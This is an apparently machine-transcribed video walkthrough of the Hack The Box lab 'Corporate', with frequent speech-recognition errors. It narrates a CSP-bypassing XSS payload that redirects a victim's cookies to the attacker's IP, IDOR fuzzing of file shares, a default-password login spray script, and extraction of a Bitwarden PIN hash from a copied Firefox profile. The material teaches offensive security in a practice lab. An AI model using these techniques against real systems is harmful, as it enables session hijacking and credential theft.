what's going on YouTube this is IP I'm doing corporate from hack the box which is an enormous box if we talked about everything going on here this intro would be three to five minutes so we're just talk about my favorites it starts off with the foot hole that is cross site scripting and the website has been hardened with content security policy headers so it's not that easy to do cross scripting attacks you have to use a meta redirect to redirect the user's browser to a different domain on the box and on that page you have to do a double reflective injection in order to steal cookies after you do some other things you get to a Mozilla backup folder that you have to extract a bit Warden data out of it in order to crack a pin code that lets you get a multiactor code to um get that is hosted on the box and

HackTheBox - Corporate (FIXED)


after some more things you discover a backup of the server which contains the RSA signing key to proxmox so you can forge cookies and use the proxmox API to change the local password of the box so with all that being said let's just jump in as always I'm going to start off with an end map so SC C for default scripts SV enumerate versions - VV for double Vero this gives us the TTL of each Port OA output all formats put the end map directory and call it corporate and then the IP address of 1010 11246 this can take some time around though so I've already already ran it looking at the results we have just one port open that is HTTP on Port 80 and it's running the open resty web app server and gives the version string it also redirects us over to corporate. HTP so I'm going to go ahead and add this to

HackTheBox - Corporate (FIXED)


my host host F so Pudo V Etsy host and then we can add 101 11246 corporate. HTP and let's get rid of the HTTP there we go I would also be Googling around to see exactly what open resty web app server is with this version string to see if there's any known exploits there's not so I'm not going to waste time and do that in the video so let's just go take a look at the website so I'm going to go to corporate. htb and what we're looking for is try to identify exactly what this uh page is it looks like it's just a um single page website because as we click these links it is scrolling down it did have an email address up there that's also here of hello.c corporate. hdb and a way to start chatting so if I do ipac and we click start chatting now it directs us to support. corporate. htb so let's go ahead and add this to a host file so I'm going to do um pseudo V Etsy host and then we can add support

HackTheBox - Corporate (FIXED)


corporate htb refresh this page and it looks like we get to some type of chat system I'm just going to respond see if they respond back to me I think this is just like a script or we can wait for the message but the first thing I always try when I can talk to someone to interact with another user is uh cross-site scripting right I'm just going to test it first with just the bold because um this is easy to tell so if I say this uh it looks like they closed the chat with me as I hit enter so let's try this again and go to support we can type our name and then I'm just going to do B hello SLB hello click Send message and we do see one of those is boled so we can inject HTML so the next thing I'm going to try is um JavaScript right instead of doing script Source let's just do script alert one so this should pop up a alert box if

HackTheBox - Corporate (FIXED)


it works and we didn't get one if I go over in my browser tools we can see the reason why it did not work is because this content security policy um so let's try this again I'm going to do IC page block loading I don't know if it'll give us a new one um it just says that alert one I was hoping it would just like pop up the message saying this script could not be ran because of CSP but I don't think it's doing that however let's look at all the content security policy around this to do that I'm going to go over to burp Suite so I can just see the headers easily we can turn intercept on refresh this page send it over to repeater and then we have the content security policy so I'm going to copy this and then I'm going to just open a new pane let's do V I'm going to call this CSP dos support and then let's format this so

HackTheBox - Corporate (FIXED)


everyone's on a new line I'm going to replace semicolon space with a return and this is the content security policy so we're allowing scripts from uh star. corporate. htb and corporate. htb we also have this that's going to block us from loading scripts inline on the page let's take a look at other domains and while we do that I'm going to run a gobster so I'm going to do go Buster vhost um- HTTP support. htb word list op secist Discovery DNS uh let's do SUB domains top 1 million 20,000 I think o is output we'll call this V host.

HackTheBox - Corporate (FIXED)


out is it w oh why did I say support this is Corporate I'm probably thinking the subdomain of support but there we go okay so now that that's running let's get all the other C uh content security policies so if I go over to corporate.

HackTheBox - Corporate (FIXED)


htb let's go web history send this to repeater we can grab this one and I'm going to put at the top so we can easily see this this is going to be support corporate htb and I'll call this cp.

HackTheBox - Corporate (FIXED)


root paste that let's do the same search and replace to replace all semicolon spaces with a new line and I just going to call this corporate. htb so we can see that bottom script self uh script Source self is not there so we can inject um JavaScript on this page and outside of that everything else looks to be standard so there is potentially a way for us to um exploit some type of cross-site scripting inside of this so what we could potentially do is send a HTML injection redirect over to another domain let's say we had cross8 scripting and corporate. htb if we did that then we could potentially steal cookies or do cross a scripting attacks so that's going to be the start of the logic of why I'm starting to look into this but first I want to make sure I can redirect this page somewhere else

HackTheBox - Corporate (FIXED)


so I'm going to click here to open a new chat and before I click Start chatting I'm just going to type what I want in um my terminal because the agent's going to close the window in 30 seconds also we probably want to keep exactly what we sent the endpoint in case it works and we lost it just because it was in a browser right we have to do a um HTML redirect so that uses the meta tag and again the reason why we have to do this is because we can't load any JavaScript in the page so if we do HTTP equiv refresh content um I think this is refresh in 0 seconds and then we say URL and redirect them wherever we want and I'm going to redirect them to my box um and the reason why I'm doing that is we validated we can inject HTML in our chat window but the agent may use a different website in order to chat to its users so they may not be vulnerable if we redirect it to like Google and just test

HackTheBox - Corporate (FIXED)


it on a browser we're not we don't know if we've actually um attacked the agent themselves right so that's why I'm doing it to mine so we can see all the request I'm going to start up a HTTP server and then let's copy this payload and send it in so if it works my browser should redirect yep and then we should also see the agent um hitting the redirect as well and we do 10 10 11246 so we have validated we can do HTML injection now we have to find a page where we can um run JavaScript right we did do the Gob Buster so we have a few subdomains here we could also check but I'm just going to check corporate. hdb first because this is the one we're on right so the first thing I want to do is kind of identify what this is built with um we have the walizer here it's not detecting any like um libraries or things like that so let's

HackTheBox - Corporate (FIXED)


just get a uh 404 page because that also helps us to identify Frameworks and things like that and we get 404 not found and it just reflect the data back to us so what I'm going to do is inject HTM here to see if we have injection and we do that's good and if we look at it uh or page we can't just run JavaScript on this right if I try to do a um SL script let's just do script alert one and try running JavaScript we can't because the page itself cannot run JavaScript we have to include JavaScript somewhere else um it can work on any of the subdomains or corporate. htb itself it just like we can't just do script like that it has to be script source is equal to something and then that load so what we want to do now is uh see if we can find a place where we can inject into um JavaScript so what I'm going to do is go to the proxy Tab and I'm going to look at all the queries my browser sends if we look

HackTheBox - Corporate (FIXED)


at it we sending this V parameter quite often so I'm going to highlight this and we're going to search and I think if I had Pro I could just type that term there and find it but I don't so um I'm just going to click up all the request and we see we got one match here so in this assets JavaScript analytics Min um it looks like we have a way to do this so I'm going to do V is equal to IPC I'm going to see if IPC is in this request and it is so we can put the JavaScript here so if I did um alert one like that let's see we have JavaScript there so what we want to do is load the script here so we can do script source is equal to uh that should be fine SL script go to load this and we see an uncaught reference error analytics is not defined so this script itself analytics MJS may have a dependency that

HackTheBox - Corporate (FIXED)


we have to load beforehand um I wonder if I searched under analytics uh we don't have that function let's see if we go back here there is a it's either going to be in jQuery or um the vendor analytics and right at the top I see verore analytics function e so we want to include this file as well and I don't think we need the V because the V doesn't appear to be doing anything um that was not my clipboard there we go because we don't get any matches so we just have to include this file beforehand so let's go back here and we can say script source is equal to this Wonder wonder if I even need like the backs slash script or I can probably Escape it that way I don't think it like that let's go back there we go we have the alert so what we can't do right now though is inject this straight into um the chat window and the reason

HackTheBox - Corporate (FIXED)


why is it has this script Source self here right so we have to now wrap this into the meta redirect so what I want to do is let's see let's go back here V xss notes we going to grab this let's see what is the best way to do this I guess we can just paste it I don't think it's going to work right off the bat because we may have to do some like URL encoding maybe it did it for us I don't remember encoding it I guess because I copied it off the browser window it did weird um let's move XS notes to dubdub dub and index HTML sure so I want to go to 10148 or 8,000 it's going to hopefully redirect me and get JavaScript awesome so now what we want to do is be able to get cookies so what I'm going to do is go back here let's go index.html and then instead of alert one I'm going to say uh let's just change a window let's do another redirect so we can do window

HackTheBox - Corporate (FIXED)


location is equal to http 10 10 148 8,000 slash um plus document.

HackTheBox - Corporate (FIXED)


cookie I think that's right so let's go to 10 1048 we send it and it stopped after window location so it doesn't look like it liked my quotation marks is my guess so we could change this with a different quote one of the commons ones is a back tick that will also work so let's go to 10 1048 and that looks better I don't like that it actually said document.cookie and then we didn't actually go there right it just ended so we probably have to encode that plus CU it's probably treating that as a space maybe so let's do Echo DN plus then we can do jq- RR at URI it's percent 2B so let's put that plus as percent 2B okay and Also let's go into storage and make sure we have a cookie to send so let's just add one there we go so if we go to 10 1048 we get redirected there that still does not seem to want to work

HackTheBox - Corporate (FIXED)


let's see so we did document cookie we're in backtick see I don't know exactly what we're messing up oh it's probably the equal we probably have to you encode that equals because we have that V equals and then this um so let's encode equal percent 3D not found we definitely should save that in our index I wonder if we should do the question mark as well percent three F that's 2 F 3 it still is not working okay that one worked we didn't get a cookie though oh because the path let's change the path to slash so what's happening is silly because it is a redirect on index I think it's going into a loop but also we have to make sure we get that end Double quote and then we add a SL gript there we go that's what we wanted and we have it so we have to figure out exactly why that's not going through so we put

HackTheBox - Corporate (FIXED)


this document.cookie and then this is where the script is ending so I wonder if we need to oh we need to ur encode that quote um so what is a quote percent 22 wonder if I need two quotes I don't know that one quote is coming from I probably only need one of those okay so let's go 10 10 148 we redirect and awesome so now if I send this over to the um support agent I should be able to get their cookie so I'm going to send this we'll start chatting we're going to redirect them they're going to hit the corporate. htb and then they're going to send all their cookies back to us this is our request but we also have their request we have the corporate SSO cookie right here and it looks like it is a JWT we can go to JWT doio to see quickly so if I do JWT and paste this in we have got norre corporate. htb and this is her

HackTheBox - Corporate (FIXED)


cookie so let's go ahead and add this to our session so let's go back to storage this is Corporate SSO let me make this bigger the value we can paste this in and then refresh to see if we get anything different um does not look like it let's get off across scripting page so nothing's different there but there were other domains we saw we have support we saw we have get SSO and people um so let's edit our host file so pseudo VC host and then we can add get corporate h htb SSO corporate htb and people corporate htb so if we go to get corporate htb we get forbidden we do SSO we get the login form and if we do people we get a sign in so let's set our cookie here here so again I'm just going to hit uh F12 then go over to storage tab let's do a new item by clicking on the plus then we select the name this is

HackTheBox - Corporate (FIXED)


Corporate corate SSO I think I spelled that wrong um cor I think that's fine then let's go grab our JWT copy paste and then the path I want it just on slash so now I refresh and we get over to services so we have password reset and our people the password reset requires current password um what I'm going to do is try doing it without knowing this so we can do password for everything and then let's make sure we intersect accept the request okay Enter let's see found redirect your current password is incorrect so let's see if we can change this and as I'm doing this I don't see any like identifier where I could edit another user's password the whole reason I was testing this was to see if I could change um another user's password maybe there was an ID parameter here but there isn't and if I remove a current password

HackTheBox - Corporate (FIXED)


it requires it so we don't have any type of uh way we can bypass that the whole password changing thing is not really that interesting to me let's go to our people and we got to turn the intercept off and we can click sign in and that doesn't appear to work we have cookies let's just add corporate SSO here as well um corporate SSO value paste uh path on slash let's see if we can access this now looks like we can so we just had to mainly add that cookie in so I'm going to clean up some of my tabs and we can begin looking at uh people so let's take a look at chat new share ing calendar holidays payroll we probably should see like what this is coded and if we can um for some reason this just looks like a nodejs thing to me I'm not sure exactly why um let's see we are intercepting is there anything in the headers

HackTheBox - Corporate (FIXED)


deny I don't see anything unique here uh let's go people if we give an error just get a404 sorry and I don't know what this is I'll go to wyzer no technology detected looking at this we can see internal chat messages and we can also from here get to employee profiles if we know the ID so we could enumerate potential usernames birthdays their role and an about uh we have the news doesn't look like anything is too important here we can click on this and read but that is quite a bit of reading we have files it looks like a ovpn uh config so that's going to be the first thing I download is this VPN config so I'm going to go to htb corporate and we will save the VPN file we have some documents if we open these I I don't think they mean all that much I don't know what that is discard sure and we could log into the VPN I'm not going to do a lot on it

HackTheBox - Corporate (FIXED)


because um it just doesn't flow well but I spent a lot of time enumerating this VPN whenever doing multiple vpns I always add a MSS fix to this so I'm just going to do msf fix 1400 and the whole reason I do this is um the maximum transmission unit by default is going to be like 1489 or500 or something like that and that's like how big the packet is an openvpn sits after the like OS builds the packet and then adds an overhead on top of that so since I have a VPN going to hack the box and then I do another VPN going to this machine that is two like openvpn headers that the OS isn't expecting and it gets some weird issues you can go to ic. ro and probably search MSS fix and go to an old machine to see it but that's always my habit whenever layering on vpns is lowering lowering the MTU the maximum transmission unit by putting msf fix in

HackTheBox - Corporate (FIXED)


so let's do pseudo openvpn Nora connect and it looks like we connect right away we do have a IP address if I do IP route I want to see uh what is ton one so we have 1080 so this is going to be the openvpn subnet and then it's letting us route to 1090 so let's just do an end map so we can do pseudo n map SCV OA um do I want to do script sure I can we'll do end map internal VPN and put this in probably should add verose as well because this scan may actually take a long time doing script scans on a sl24 but I didn't want to look too much at the VPN anyways I wanted to go keep looking at this web server we can see some things coming back already but we have a way to upload files we also can share files so I probably would spend a lot of time uploading file if I knew um the backend framework this was my first

HackTheBox - Corporate (FIXED)


thought is let's go into sharing files and seeing how this works because we may be able to find files that we don't have access to and then share them with ourselves and gain access so that is my first thought here with this parameter so let's see what this share request looks like I'm going to put my email address which I think was is it let's just click on my name to get my email employ it is taking it's time to load because burp Suite is intercepting there we go so we can copy that let's attempt to share and we can't share file with ourself so if we tried this uh we have to find another user and that actually isn't as hard as it sounds because we can go back over to the support and fish someone else so if I do IPC I'm going to go back and C my xss notes they're probably in dubdub dub so we want to grab

HackTheBox - Corporate (FIXED)


this and I'm going to go here and we start chatting and let's see who we're chatting with is it Nora again no this is um Julio so we're going to send that and we have another user so let's see if we can share files with this user so I'm going to go in new private window so we can have two windows open simultaneously and we can say HTTP people corporate htb this should load I don't know why it's taking so long let's see is the proxy set no proxy um Google that works corporate htb okay for some reason it was going slow it's fine now okay I'm going to add the corporate SSO token I don't have to add it to the SSO website first or I can just add it here it is at slash already oh no it's at off login save corporate htb it's going to log in let's do SSO I do not know why this browser is going slow is this one going

HackTheBox - Corporate (FIXED)


slow no so there's something odd with this private browsing tab see add corporate SSO paste get rid of SL login refresh Network tab tell me no this is bizarre look like it's something maybe DNS related the end map is finished I'm going to just kill the multi-layer VPN just in case that's doing something okay maybe it was trying to go through the VPN so we can click on people we have the corporate SSO token okay I don't know why the browser is behaving as it is but I think we're getting close awesome wait why am I Nora we had someone else right copy jbt iio that's Nora I could have swore it said we were talking with Julio this is my browser 101048 that explains some things okay storage cookies change this and we also need to change this okay now I'm on Julio and we got Julio VPN awesome so I want to see if I can share files with

HackTheBox - Corporate (FIXED)


him so let's see I'm going to grab this let's get an email I'm going to copy everything paste it in share file it says it's been shared refresh and we have another file so what I want to do is examine this request and what we want to do is try to share files that we don't own it's probably this post right here because we have file ID so what I'm going to do is let's copy this entire request to a file so we can say copy to file I'm going to say share. request and then let's edit that so let's go share. request and I'm going to put fuzz where file ID is and we can say FFF D request share request Proto HTTP word list I'm going to do a sequence of zero through let's do a th pretty much 999 uh is there anything else we want to do I think that's it we see everything is status 302 let's go back here and refresh and

HackTheBox - Corporate (FIXED)


we have a lot more files and odly enough it always it says shared by the owner instead of shared by who actually shared it which was us but there's a lot of documents I was looking to see if there's other VPN files um one of these should stand out as not docx we have a welcome to corporate 2023 PDF so if we look at this one work life I clicked it twice this PDF talks about um the default password so we got first name. last name at corporate. htb and then the default password is Corporate starter and then the um DayDay month month year year year which is your birthday and remember when we're enumerating and found the people if we go back to I think it was chat and click on someone's name let's go to chat click on a name we have the bir they here so we want to build a script that will craw this URL uh changing out the number and then

HackTheBox - Corporate (FIXED)


um when it finds a employee then it goes and um makes a request to log in with their birthday so let's do that I'm going to make this called um I'm just going to make a directory called code and then like let's touch um login. py sure so what we have to do is first import request and I'm waiting for vs code to load so I can say import request and we also want to set our cookies so I'm going to do cookies is equal to uh corporate SSO this going to be the first one let's see this is the second one and then the third cookie will be session okay we can grab this value grab this and grab this okay so the first URL is here and this last one is a number so I'll do ID we can say 4 I in going do range and this is just I'm going to start small so we'll do 5,000 to 55 because we know there's employees

HackTheBox - Corporate (FIXED)


there if I started at zero um there's a chance it doesn't have employees until 5,000 and we just be waiting a long time we can actually just go this should be fine okay so the first thing we want to do is make a request and I need import requests and let's see I think if we give it a bad number it redirects us right so how do we behave on error see I should just not use this incognito window because that is for some reason the slow Firefox we do one it redirects us to SL employees so we don't want to do a redirect so we can say uh redirect false awesome and let's see if response. code status code is equal to 200 then sure let's print it and break and I'm going to set a debug Point here and let's just see if this works so it's running it's probably hitting a few employees that don't exist I would assume once we hit like 513 or whatever

HackTheBox - Corporate (FIXED)


the employee was it worked but we didn't um print sure I should put the ID there so we are just completely failing that leads me believe our cookies are bad I guess we should look at where it's redirecting us to if we're getting redirected to the login which would be a bad cookie or if we're getting redirected somewhere else so let's see print response. text that should tell us redirecting SL employee I'm an idiot I called it ID but it's I so that should work there we go we have one so 50001 is a employee it's response 200 so now if I go to debug if we look at response. text it is going to be that page so what we want to do is make a regular expression that will grab the email so let's see we can say email r e is equal to R and let's say I want to do first we'll copy this put it in comment so whenever I do

HackTheBox - Corporate (FIXED)


a regular expression I like putting the uh what I'm grabbing in a comment above it and we can look for mail 2 and then I don't want to do word word we probably say dotar and at corporate htb like that okay then print email or this will be username we have to import regular Expressions run this I have bad variable username let's see what is it it's a list we just want the username so we'll grab the first one and that should work okay so now we want the birthday um so we can do birthday here's what we're going to search for so that should be fine I think okay and then we need to make like the day month year so that's probably born January 18th 1996 do I still have that PDF um downloads where is it that's the doc x what is the format day day month month year year so this has to be the month because there's no 18th month so we have to

HackTheBox - Corporate (FIXED)


change the format slightly so I'm going to do day month year is equal to dat of birth split on slash and then we can say password is equal to corporate starter we can F string that and then say what was the format day day month month year year this format actually was month day year so we can say day . Zill 2 so that's going to format it to be two digits and then month Zill two and year there we go print password I'm going to set a break point and we don't know this password is good or not but we just want to able to see it so running through we go to the username that is word that is an odd last name okay n of values so date of birth did not work uh let's go debug do it got engineer so we want to say uh let's say say um digit digit digit like that run this again username we good date of birth that look looks

HackTheBox - Corporate (FIXED)


better and then the password is going to be corporate starter 05 04 051 1971 that looks good the numbers are different because the people we're looking at here is not Ward whatever we're looking at Nora um but yeah so now what we want to do is make a login request so we want to go to SS and I need to log out we can buy just log out once we get to SSO incorporate htb log out doesn't look like log out Works let's just delete the cookie okay I'm just going to close that so we want to test to log in so do test test go to burp Suite intercept on log in we get a 302 found with invalid in the body so we want to now do a login and I'm just going to create this as a function I should have done the other thing as a function but oh well do login username password and then let's say URL is HTTP SSO corporate htb SL

HackTheBox - Corporate (FIXED)


login data username and password what we need and then send this we don't need to send any cookies and we can say if response.

HackTheBox - Corporate (FIXED)


text contains um if invalid is in I forget how to do this in Python um if invalid is in response text is it going to tell me I don't know why I had the is there there we go return true there we go why is that highlighting that should be fine okay let's get rid of these prints because we just had them there for debug and let's see I'm going to print username we'll say and equal nothing so printing the usern name without a line break and then we're going to say if log we can print the password else or just print nothing so I think that's going to work so what we're doing we're checking the employee page we're pulling the employee email pulling the date of birth building the passord password string then we're going to test the login and if the login is accessible we're going to put the password on the terminal because we ended it previous

HackTheBox - Corporate (FIXED)


previously with the user if the log's not successful we're just going to put a line break so this will tell us valid employees along with the passwords so let's send this and it's looking like we're getting employees so let's increase our number um let's do 5,000 to 6,000 enter and let's see I hope there's nothing before 5,000 it's looking like we're going I'm not sure if we actually hit a user that should be successful or not um looking at this we did that casing correctly I wasn't sure if it was a lowercase ey but hopefully soon we'll see a colon and password got Nora bre doesn't look like we have any it's stop going so that leads me to believe that um we hit the end of all the generated users so I think we may have a mistake somewhere want to set a break here so we can look at what response. text is I'm

HackTheBox - Corporate (FIXED)


expecting it to be this invalid username or password let's just send this again okay debug console response. text yeah the other thing is the username could be a full email address uh we don't know that piece so what I'm going to do we'll do 4,000 to 7,000 and in this print I'm going to also put the ID so it can print F string user and then was it I yes okay and I'm just going to pause the video and let this run okay I just went through the entire list and it looks like it starts at 50001 and ends at 57 78 so we got all the users so we can shrink that and we're want to see exactly what this request looks like so I'm going to do proxies is equal to http and we'll send it to Local Host 8080 okay let good to burp suite and intercept on run and debug just to make sure our code is working and I see the

HackTheBox - Corporate (FIXED)


error we need to put these in quotes that a silly mistake there we go so now if we run this script again let's go run it should go relatively quickly because we're only giving it valid users and there we go let's see if any of these come back with a valid login and we have lwin Jones right here so we have one valid password and let's just let it finish and we'll copy all the successful ones over to a file or I guess I can copy everything and we can just grap on Cor and get everyone so there's three is there anyone else four and that looks like it so let's grab this copy then we can say v um user an.

HackTheBox - Corporate (FIXED)


text paste grap cor on this to cs. text so we have a few credentials so let's go back to the welcome packet that told us the password format because that may tell us exactly um where these credentials are valid for we could just go back and go through all the notes and look ourselves and try a bunch of places but it's always best to refer back to the documentation so this is where it says we've been set up a account here's the default password it tells us there's a VPN pack that allows us to access the internal resources so let's go back to the VPN pack um I'm going to connect to it and then we also have the end map scan that we had done so let's less end map then internal VPN nmap and scroll down and let's see what we have so 10901 that is open or up we have SSH on Port 22 the TTL is 64 and we have the

HackTheBox - Corporate (FIXED)


open SSH Banner then we have a web server open on Port 80 this looks like the same exact Banner we saw on the like routable address 1010 11246 and it's redirecting us to corporate. htb now normally when I'm trying to compare to see if two IP addresses are identical I go to like some cryptographic fingerprint like this and then compare it but I think we only had 80 um on this right we look at our end map on 10 101 246 we only have 80 so there's no like no no way we can really easily fingerprint to identify it is indeed the same box um we have ldap open ldap SSL 249 NFS now I'm guessing this is only going to support NFS version 4 we see I think this Banner tells us that but also I don't see the RPC map report that's like I forget what port number that is like 11 or something so without an RPC map report you can't use NFS version 2 or three so it's

HackTheBox - Corporate (FIXED)


likely only for is going to be supported here um we also have Port 3128 open and that is saying it's a prox MOX virtual environment rest API prox MOX is like an open- Source VMware so it's it's going to be some type of virtualization thing and then we have 10904 and the TTL decrements so we know 10904 is going to be a virtual machine and it's probably going to be um like a proxmox client so we're probably using lib vert or something here not really that important but it is just the type of information we can get from this we do see 111 here this is the RPC Port so um RPC is listening here if we go all the way up uh let's see let's double check I did not miss it I did not so we don't have RPC open um there oddly enough there's no um NFS and we have 22 open so let's try credentials to log into one of the 109 host so I'm going to go cat let's do CD

HackTheBox - Corporate (FIXED)


dot dot uh let's see where we have it did I put it in code I do let's move creds up one we can move user an up one as well weeds. text let's see we probably should I guess we can use n exac let's do net exac SSH 10901 we can do both of them uh- lwin Jones DP corporate starter 04041 1987 I'm going to actually do host. text 10901 109 904 and we can just replace this IP with host. text so I'm going to test L1 first and we could create two text files of all the usernames and all the passwords and then um spray everything to see if it works but we do have shell access on 10904 as L1 Jones so I'm just going to test this out so we can SSH L1 Jones at 109 04 um then cor I just type that I should probably just copy and paste copy this paste enter there we go and we're logged in and we got user. text right there um I

HackTheBox - Corporate (FIXED)


can do find. dtype f and we see there are definitely a lot of files in this home uh we have some Evolution stuff which is like a male client uh scrolling up we have a lot of Firefox so we could pillage Firefox there I also like looking at um Mount and we can see right here corporate. htb is mounted through NFS version 4 we could test out more of this NFS like if we did a show Mount d e um 109 04 or one probably but it can't talk to it um and there's not a lot of like things we can do to NFS and let's see let's do sh lwin Jones at 10904 log in again because on because this session is just hung so I was playing with trying to talk to NFS a lot and eventually found out the reason we can't is because of Ip tables and if you look at Etsy IP tables rules V4 this is where it saves it and we can see there is a

HackTheBox - Corporate (FIXED)


rule that prevents anyone other than rout from hitting 2049 on the remote host now we could try like um an SSH tunnel like this was one of my first thoughts so we can do 2049 127 uh this is 10 90 whoops 10901 so we could try this and if we do NC uh what is it zv 127 001249 um SSH complains that the connection is refused so we can't connect over um SSH either and I thought maybe we could here because SSH the parent process is running as root so if it didn't do the fort correctly as the user with this tunnel there was a chance that the packet left as root and we could like talk to NFS through an SSH tunnel but that is not the case so we're left with trying to figure out what else we can do now the Firefox profile was interesting so let's go into that um let's see which one do we think has more data um

HackTheBox - Corporate (FIXED)


I'm going to do find tier 2 wc- l106 find ye wcl2 so I'm going to do the tier 2 profile just CU it has a lot more files in it and let's see I think it's like places yeah let's do SQL light 3 places SQL light we don't even have SQL light on this box I'm going to copy up this whole uh profile so let's do a tjvf mill. tar.bz2 Milla and then we want to copy this I'm going to copy it the lazy way and we'll just move Mozilla to Dev shm go there and set up a web server we probably should use SCP to copy it but um I don't feel like typing that password again or copy and pasting so that's why I'm doing it this way so 10948 2000 Milla T bz2 I need HTTP and then let's uh makeer we did the Mozilla folder so that should be fine X jvf Mozilla okay so now we can start looking at this uh we wanted to go in the default release SQL 83

HackTheBox - Corporate (FIXED)


places if we do dump we can easily see a lot of the data it's a bit hard to view I just like doing this to confirm we do indeed have data so let's see M places what is the format of this so let's get the URL and title of that so we can do select URL title from M places and see what's here so they went to Firefox Firefox this is probably like the homepage we have Ubuntu um added a question there uh they're searching for a bit Warden Firefox extension looks like they're going to add bit Warden and then they're doing a search saying is a four-digit pin enough for bit Warden uh we see that right there so it looks like they have installed bit warden in this Firefox profile so if we want to look at bit Warden that's going to be within the storage and then go default and the actual extension itself is probably going to be this Milla extension we could go htps bit wen.com

HackTheBox - Corporate (FIXED)


um is that directory code LS and then SQL light data dump and there's not really that much data in this one the extensions are the m and let's see we have the SQL light right here so if I do SQL 3 on this we can do a dump and it stores everything in blobs and this is SQL light just showing us it is indeed a blob there's a lot of data right here uh we could view this in like a hex editor so if we do xxd on that file less it's an easy way to show The Blob so we can start looking around this let's see what was that uh web storage extension local data this looks like it is some type of hashes or we saw I thought maybe not scrolling down I'm going to hide everything that's blank so I'm going to do this GP Das V on all those dots wonder if I need to escape them yes I do that's annoying Let's Escape all

HackTheBox - Corporate (FIXED)


these I should have just done all the zeros but there we go so now we hit every um blank row so we don't have to scroll as much so right here we do have some type of login and this looks like a hash uh this is probably talking about the algorithm that's protecting it we have symmetric and then a blob there there's the private key probably and another potential password and right here is very interesting we have potentially a hash here and it says pin protect and then we have this star if we scroll up we can see more data around it and this whole data is kind of um clunky because it is also compressed I believe so if we wanted to fully read it we'd have to um uncompress this stream because we have like elwind John email this is by elwind John corporate. hdb but compression is making it hard to read with

HackTheBox - Corporate (FIXED)


xxd so what I'm going to do is let's uncompress this stream and then um view it we could probably just extract this hash easily I noticed this is um encoded differently this is probably 16 bit while everything else is 8 bit because we have the periods between it which is just going to be a blank thing so 44 is D and then we have that right we look at other hashes it's not like that so if that's the only thing that's the only hash that is encoded that way in this blob you could easily view it with strings right because if we do man strings look at- e we have encoding options uh we want to probably do uh where is it e this 16bit little endian is how that looked like it was encoded so if we did strings on this file we can get the hash right so that 2dx this is probably the same exact thing as we had saw 2dx G let's go back

HackTheBox - Corporate (FIXED)


here search for pin I thought it was pin protect weird um see if we can find that quickly that's private I don't know why my search for pen did not cover that that's weird but we have two dxg so that is the same hash right um we could try to start progressing that way but I want to convert this into files so we can be sure that like any of that compression didn't screw up um grabbing the hash and there may be other data around this key that is interesting to us so let's start off with grabbing the file name and and I may actually not convert it to a file I may just do it all in the python interpreter because I think we can play around with the data a bit better if we do it this way but first we have to import um SQL light and then we want to connect to this so we'll do connection is equal to sqlite 3 connect specify the file name then you

HackTheBox - Corporate (FIXED)


want to create the cursor for sqlite cursor like that and we need to um view the tables because we need to know what we want to extract so let's go back there let's do sqlite 3 364 sqlite dump and let's see I'm going to go up to the top we want this uh what is it object data and what do we want we probably don't care about the key index data file we probably want data right data sounds like what we want to extract so I'm going to do um cursor. execute select data from object data and we want to create all the rows so I'm just going to create a list for Row in cursor we're going to data append row so now if I just do data we have everything I can do data zero get the first row um looks like we have do we have two entries nope just one so we have all of this and this is the data that I think is compressed this header doesn't match anything uh that I

HackTheBox - Corporate (FIXED)


know of compression but if we view it um we can do import is it hexdump yep hex dump. hexdump on the data right so when we view this I'm expecting this to be somewhat like a serialized string um let's go back search for pen because this gets us to where we want um where's like email right I expect this to be the actual email um since it's just gibberish my guess is it's compressed right we have other thing like has personal email this is probably a Boolean but this is just um serialized data it looks like and since this stuff doesn't look correct I assume it's compressed one of the popular compression or decompression things is called Snappy so we can import Snappy and if you don't have it um python Snappy compress I think it's python Das Snappy you install through pip um this is it let's see yeah python Das

HackTheBox - Corporate (FIXED)


nappy so you do pip install python Das nappy to download it but we can do a Snappy do decompress and then let's also do Hex dump hex dump and view this looks much better um we still have a lot of but the gibberish has kind of gone away right let's go back up to where email is when we look at email we actually have lwin Jones um I don't know if this is the right one there's probably multiple emails um let's search for pen so we get exactly where we want so that's pin protected right here so this is the data we were looking at then we go up we have password testing password testing server dasc corporate. local 8000 this is probably going to be like the bit Warden address I would assume uh we can see other things uh let's see keyh there's elen Jones is the email we have iterations and if we look at iterations we don't see a number we just

HackTheBox - Corporate (FIXED)


see this and I want to say where is this on the stream uh let's see we do a bunch of zeros and then is this the iteration count I think this is going to be iterations right there I'm going to make a note of that uh let's just do it in corporate V crypto notes iterations I wanted I'm just going to copy the whole line just in case I'm wrong there but I think it's co 2709 and we'll convert that back to decimal shortly there's the email um email lwin Jones at corporate hdb and you can view all the data here right right so I'm focusing around this one has just because it's next to pin protected if I search the entire blob I don't see anything else pin protected so it's probably not protected by the PIN code um we could look at other data in this because it had multiple rows uh that looks like some uid I don't know what these rows are

HackTheBox - Corporate (FIXED)


this looks like uh maybe just information about like the user or not even user maybe the plugin I don't see anything like identifying the user there but that's all the data so this is the important data we want um if we wanted to extract the hash we could either use Python to grab it but I'm going to do uh something slightly different so we just have this and I want to get this string into a file I know the easy way would just be like um file is equal to file. openen file name write it as binary but if you just have a hex dump you can also just extract that to a file so if we do v um and call this data. heex we're going to paste all that and I want to remove all the spaces up until line breaks so I just want to I trimmed the trailing space and we have this hex stump uh do I have everything we start at line five so

HackTheBox - Corporate (FIXED)


yes we do so if I wanted to reverse this I can just do Hex dump D r-p data. heex or is it xxd my bad not XX dump there we go and we have the hash so this matches with the strings - L we had just done but um yeah where's my Crypton notes we have it in six probably and we'll say pin protected hash there awesome so we'll write that and get rid of this I'll leave this interpreter open just in case we want to go back to the data at all um but this gets us where we want uh let's see let's go up two directories up again uh one more directory I think more okay so now we actually want to um open Firefox with bit Warden and now we can kill Firefox and I'm going to go up two directories I'm going to move my existing Firefox directly directory into a backup and then I'm just going to do AAR XJ VF on the um backup file right so

HackTheBox - Corporate (FIXED)


we do corporate Milla that's going to create a new Firefox directory and I'm going to execute it with the profile manager flag this way when Firefox starts up it'll ask me what profile I want to load and I'm going to select default release first and if this one doesn't have any history then I'm going to switch to the the other Firefox profile right because there's two Firefox profiles and we want the one with the history because that's where the bit Wen profile is so we have that so let's now go and install bit Warden I'm going to click on manage extensions search for bit Warden and let's add it to Firefox add and this should pop up asking for a pin code so this is what we have to Brute Force so let's go and Google um bit Wen pin Brute Force go over to Google and let's see is there a GitHub right here I think this is it

HackTheBox - Corporate (FIXED)


